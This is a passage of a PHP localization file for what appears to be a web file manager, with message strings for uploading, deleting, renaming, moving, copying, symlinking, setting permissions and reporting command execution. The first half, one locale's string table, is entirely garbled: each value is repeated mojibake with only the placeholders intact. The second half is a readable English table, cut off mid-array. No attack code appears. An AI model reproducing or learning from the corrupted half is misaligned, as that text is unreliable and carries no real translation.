'change' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'save' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'set' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'reset' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'relative' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',

'yes' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'no' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'back' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'destination' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'symlink' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'no_output' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',

'user' => '����¯�¿�½������°����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'password' => '����¯�¿�½������°����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'add' => '����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½',
'add_basic_auth' => '����¯�¿�½������¤����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ HTTP-Basic-Auth',

'uploaded' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
'not_uploaded' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
'already_exists' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
'created' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
'not_created' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
'really_delete' => '����¯�¿�½������¤����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½?',
'deleted' => "����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½:\n[%1]",
'not_deleted' => "����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½:\n[%1]",
'rename_file' => '����¯�¿�½������°����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½:',
'renamed' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ "[%2]".',
'not_renamed' => '"[%1] ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ "[%2]".',
'move_files' => '����¯�¿�½������°����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½:',
'moved' => "����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ \"[%2]\":\n[%1]",
'not_moved' => "����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ \"[%2]\":\n[%1]",
'copy_files' => '����¯�¿�½������«����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½:',
'copied' => "����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ \"[%2]\" :\n[%1]",
'not_copied' => "����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ \"[%2]\" :\n[%1]",
'not_edited' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
'executed' => "\"[%1]\" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½:\n{%2}",
'not_executed' => "\"[%1]\" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½:\n{%2}",
'saved' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
'not_saved' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
'symlinked' => '����¯�¿�½������³����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ "[%2]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ "[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.',
'not_symlinked' => '����¯�¿�½������®����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ "[%2]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ "[%1]".',
'permission_for' => '����¯�¿�½������°����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ "[%1]":',
'permission_set' => '����¯�¿�½������°����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ "[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ [%2].',
'permission_not_set' => '����¯�¿�½������®����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½ "[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ [%2] .',
'not_readable' => '"[%1]" ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½ ����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½����¯�¿�½���¯���¿���½.'
		);

	case 'en':
	default:

		$date_format = 'n/j/y H:i:s';
		$word_charset = 'ISO-8859-1';

		return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Filename',

'size' => 'Size',
'permission' => 'Permission',
'owner' => 'Owner',
'group' => 'Group',
'other' => 'Others',
'functions' => 'Functions',

'read' => 'read',
'write' => 'write',
'execute' => 'execute',

'create_symlink' => 'create symlink',
'delete' => 'delete',
'rename' => 'rename',
'move' => 'move',
'copy' => 'copy',
'edit' => 'edit',
'download' => 'download',
'upload' => 'upload',
'create' => 'create',
'change' => 'change',
'save' => 'save',
'set' => 'set',
'reset' => 'reset',
'relative' => 'Relative path to target',

'yes' => 'Yes',
'no' => 'No',
'back' => 'back',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',

'user' => 'User',
'password' => 'Password',
'add' => 'add',
'add_basic_auth' => 'add basic-authentification',

'uploaded' => '"[%1]" has been uploaded.',
'not_uploaded' => '"[%1]" could not be uploaded.',
'already_exists' => '"[%1]" already exists.',
'created' => '"[%1]" has been created.',
'not_created' => '"[%1]" could not be created.',
'really_delete' => 'Delete these files?',
'deleted' => "These files have been deleted:\n[%1]",
'not_deleted' => "These files could not be deleted:\n[%1]",
'rename_file' => 'Rename file:',
'renamed' => '"[%1]" has been renamed to "[%2]".',
'not_renamed' => '"[%1] could not be renamed to "[%2]".',
'move_files' => 'Move these files:',
'moved' => "These files have been moved to \"[%2]\":\n[%1]",
'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
'copy_files' => 'Copy these files:',
'copied' => "These files have been copied to \"[%2]\":\n[%1]",
'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" can not be edited.',
'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
'saved' => '"[%1]" has been saved.',
'not_saved' => '"[%1]" could not be saved.',
'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
'permission_for' => 'Permission of "[%1]":',
'permission_set' => 'Permission of "[%1]" was set to [%2].',
